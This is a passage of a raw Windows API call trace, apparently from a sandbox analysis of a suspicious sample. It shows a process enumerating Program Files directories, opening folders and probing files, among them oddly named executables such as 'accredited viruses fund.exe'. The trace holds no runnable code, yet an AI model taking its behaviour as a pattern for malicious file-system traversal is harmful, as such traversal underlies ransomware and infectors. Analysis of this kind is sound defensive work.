ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 1 [0080.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0080.041] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb950) returned 1 [0080.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123af18 [0080.041] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0" (normalized: "c:\\program files\\microsoft synchronization services\\ado.net\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0" (normalized: "c:\\program files\\microsoft synchronization services\\ado.net\\v1.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0080.043] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0080.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.043] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0080.043] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.043] NtClose (Handle=0x164) returned 0x0 [0080.043] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123af18) returned 1 [0080.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb950 [0080.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0080.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123af18 [0080.044] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb950) returned 1 [0080.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b128 [0080.044] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0080.047] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.047] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b72c500, ftCreationTime.dwHighDateTime=0x1c8bd0c, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b72c500, ftLastWriteTime.dwHighDateTime=0x1c8bd0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c420, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.dll", cAlternateFileName="")) returned 1 [0080.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb950 [0080.047] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb950) returned 1 [0080.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb950 [0080.047] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb950) returned 1 [0080.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb950 [0080.048] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb950) returned 1 [0080.048] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b72c500, ftCreationTime.dwHighDateTime=0x1c8bd0c, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b72c500, ftLastWriteTime.dwHighDateTime=0x1c8bd0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c420, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.Server.dll", cAlternateFileName="")) returned 1 [0080.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb950 [0080.048] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb950) returned 1 [0080.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb950 [0080.048] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb950) returned 1 [0080.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb950 [0080.049] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb950) returned 1 [0080.049] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74481500, ftCreationTime.dwHighDateTime=0x1c8d683, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74481500, ftLastWriteTime.dwHighDateTime=0x1c8d683, nFileSizeHigh=0x0, nFileSizeLow=0x17450, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.SqlServerCe.dll", cAlternateFileName="")) returned 1 [0080.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb950 [0080.049] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb950) returned 1 [0080.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb950 [0080.049] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb950) returned 1 [0080.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb950 [0080.049] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb950) returned 1 [0080.049] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74481500, ftCreationTime.dwHighDateTime=0x1c8d683, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74481500, ftLastWriteTime.dwHighDateTime=0x1c8d683, nFileSizeHigh=0x0, nFileSizeLow=0x17450, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.SqlServerCe.dll", cAlternateFileName="")) returned 0 [0080.049] GetLastError () returned 0x12 [0080.049] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0080.050] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0080.050] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.050] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b72c500, ftCreationTime.dwHighDateTime=0x1c8bd0c, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b72c500, ftLastWriteTime.dwHighDateTime=0x1c8bd0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c420, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.dll", cAlternateFileName="")) returned 1 [0080.050] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b72c500, ftCreationTime.dwHighDateTime=0x1c8bd0c, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b72c500, ftLastWriteTime.dwHighDateTime=0x1c8bd0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c420, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.Server.dll", cAlternateFileName="")) returned 1 [0080.050] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74481500, ftCreationTime.dwHighDateTime=0x1c8d683, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74481500, ftLastWriteTime.dwHighDateTime=0x1c8d683, nFileSizeHigh=0x0, nFileSizeLow=0x17450, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.SqlServerCe.dll", cAlternateFileName="")) returned 1 [0080.050] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74481500, ftCreationTime.dwHighDateTime=0x1c8d683, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74481500, ftLastWriteTime.dwHighDateTime=0x1c8d683, nFileSizeHigh=0x0, nFileSizeLow=0x17450, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.SqlServerCe.dll", cAlternateFileName="")) returned 0 [0080.050] GetLastError () returned 0x12 [0080.050] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123b128) returned 1 [0080.050] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.051] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb7b8) returned 1 [0080.051] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123af18) returned 1 [0080.051] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 0 [0080.051] GetLastError () returned 0x12 [0080.051] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0080.051] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0080.051] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0080.052] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.052] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc52b8a0, ftCreationTime.dwHighDateTime=0x1d582c3, ftLastAccessTime.dwLowDateTime=0x45e141f0, ftLastAccessTime.dwHighDateTime=0x1d553a4, ftLastWriteTime.dwLowDateTime=0x45e141f0, ftLastWriteTime.dwHighDateTime=0x1d553a4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="discount-appearance.exe", cAlternateFileName="")) returned 1 [0080.052] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90df0e0, ftCreationTime.dwHighDateTime=0x1d5652f, ftLastAccessTime.dwLowDateTime=0x32248780, ftLastAccessTime.dwHighDateTime=0x1d59ebd, ftLastWriteTime.dwLowDateTime=0x32248780, ftLastWriteTime.dwHighDateTime=0x1d59ebd, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ncftp.exe", cAlternateFileName="")) returned 1 [0080.052] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a29b090, ftCreationTime.dwHighDateTime=0x1d56215, ftLastAccessTime.dwLowDateTime=0x48f091f0, ftLastAccessTime.dwHighDateTime=0x1d58632, ftLastWriteTime.dwLowDateTime=0x48f091f0, ftLastWriteTime.dwHighDateTime=0x1d58632, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="trail_experiences.exe", cAlternateFileName="")) returned 1 [0080.052] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a29b090, ftCreationTime.dwHighDateTime=0x1d56215, ftLastAccessTime.dwLowDateTime=0x48f091f0, ftLastAccessTime.dwHighDateTime=0x1d58632, ftLastWriteTime.dwLowDateTime=0x48f091f0, ftLastWriteTime.dwHighDateTime=0x1d58632, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="trail_experiences.exe", cAlternateFileName="")) returned 0 [0080.052] GetLastError () returned 0x12 [0080.052] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0080.052] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.052] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0080.052] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0080.052] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ff2e530, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff2e530, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0080.052] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0080.052] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\MSBuild" (normalized: "c:\\program files\\msbuild"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ff2e530, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff2e530, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.053] CreateFileW (lpFileName="C:\\Program Files\\MSBuild" (normalized: "c:\\program files\\msbuild"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0080.053] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0080.053] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.053] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0080.053] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.053] NtClose (Handle=0x124) returned 0x0 [0080.053] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0080.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0080.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0080.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0080.054] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9000 [0080.054] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ff2e530, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff2e530, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.054] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b7b2bc0, ftCreationTime.dwHighDateTime=0x1d5b431, ftLastAccessTime.dwLowDateTime=0x9d589a40, ftLastAccessTime.dwHighDateTime=0x1d5c17d, ftLastWriteTime.dwLowDateTime=0x9d589a40, ftLastWriteTime.dwHighDateTime=0x1d5c17d, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="3dftp.exe", cAlternateFileName="")) returned 1 [0080.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.054] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.055] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.055] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.055] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41b24f0, ftCreationTime.dwHighDateTime=0x1d57bbf, ftLastAccessTime.dwLowDateTime=0x59d91fb0, ftLastAccessTime.dwHighDateTime=0x1d5c20e, ftLastWriteTime.dwLowDateTime=0x59d91fb0, ftLastWriteTime.dwHighDateTime=0x1d5c20e, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="accredited viruses fund.exe", cAlternateFileName="")) returned 1 [0080.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.055] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.055] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.056] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 1 [0080.056] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 0 [0080.056] GetLastError () returned 0x12 [0080.056] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f80 [0080.056] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.056] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ff2e530, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff2e530, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.056] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b7b2bc0, ftCreationTime.dwHighDateTime=0x1d5b431, ftLastAccessTime.dwLowDateTime=0x9d589a40, ftLastAccessTime.dwHighDateTime=0x1d5c17d, ftLastWriteTime.dwLowDateTime=0x9d589a40, ftLastWriteTime.dwHighDateTime=0x1d5c17d, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="3dftp.exe", cAlternateFileName="")) returned 1 [0080.056] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41b24f0, ftCreationTime.dwHighDateTime=0x1d57bbf, ftLastAccessTime.dwLowDateTime=0x59d91fb0, ftLastAccessTime.dwHighDateTime=0x1d5c20e, ftLastWriteTime.dwLowDateTime=0x59d91fb0, ftLastWriteTime.dwHighDateTime=0x1d5c20e, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="accredited viruses fund.exe", cAlternateFileName="")) returned 1 [0080.056] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 1 [0080.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.056] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft" (normalized: "c:\\program files\\msbuild\\microsoft"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.057] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft" (normalized: "c:\\program files\\msbuild\\microsoft"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0080.057] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0080.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.058] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0080.058] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.058] NtClose (Handle=0x124) returned 0x0 [0080.058] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0080.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0080.058] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: 